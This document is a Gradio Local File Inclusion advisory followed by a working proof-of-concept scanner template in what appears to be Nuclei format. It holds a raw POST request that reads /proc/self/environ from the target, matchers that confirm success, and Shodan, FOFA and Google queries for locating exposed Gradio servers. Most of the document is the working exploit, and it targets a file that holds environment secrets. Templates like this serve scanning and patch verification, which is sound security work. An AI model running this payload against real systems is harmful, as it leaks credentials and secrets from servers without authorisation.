Gradio's Dropdown component is vulnerable to Local File Inclusion (LFI) when the value is a dictionary controlled by an attacker. In the postprocess of components, if the value type is a dict, it flows to the async_move_files_to_cache function. When the dictionary is crafted with a "path" key, it causes local file inclusion allowing attackers to read arbitrary files.
PoC
id: gradio-lfi
info:
name: Gradio - Local File Inclusion
author: ritikchaddha
severity: critical
description: |
Gradio's Dropdown component is vulnerable to Local File Inclusion (LFI) when the value is a dictionary controlled by an attacker. In the postprocess of components, if the value type is a dict, it flows to the async_move_files_to_cache function. When the dictionary is crafted with a "path" key, it causes local file inclusion allowing attackers to read arbitrary files.
reference:
- https://huntr.com/bounties/936ef084-45e1-4dc5-a419-bca071189565
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22,CWE-73
metadata:
max-request: 1
vendor: gradio_app
product: gradio
shodan-query:
- http.html:"__gradio_mode__"
- http.title:"gradio"
fofa-query:
- body="__gradio_mode__"
- title="gradio"
google-query: intitle:"gradio"
tags: lfi,gradio,file-inclusion,vuln
http:
- raw:
- |
POST /run/predict HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"data":["{\"path\":\"/proc/self/environ\"}"],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"ig8gs2fazn"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'url":'
- 'path":"'
- 'data":[{'
- 'FileData'
condition: and
- type: word
part: content_type
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a0047304502205b234e516e91526ee9828c0f72f09ca13d9cfed7a2e4926849b8fc53aea797df022100d3624ace0982ccd16ce30e9cc1ab2ff28dbb18a2d335f9373ebc355b66e18c56:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.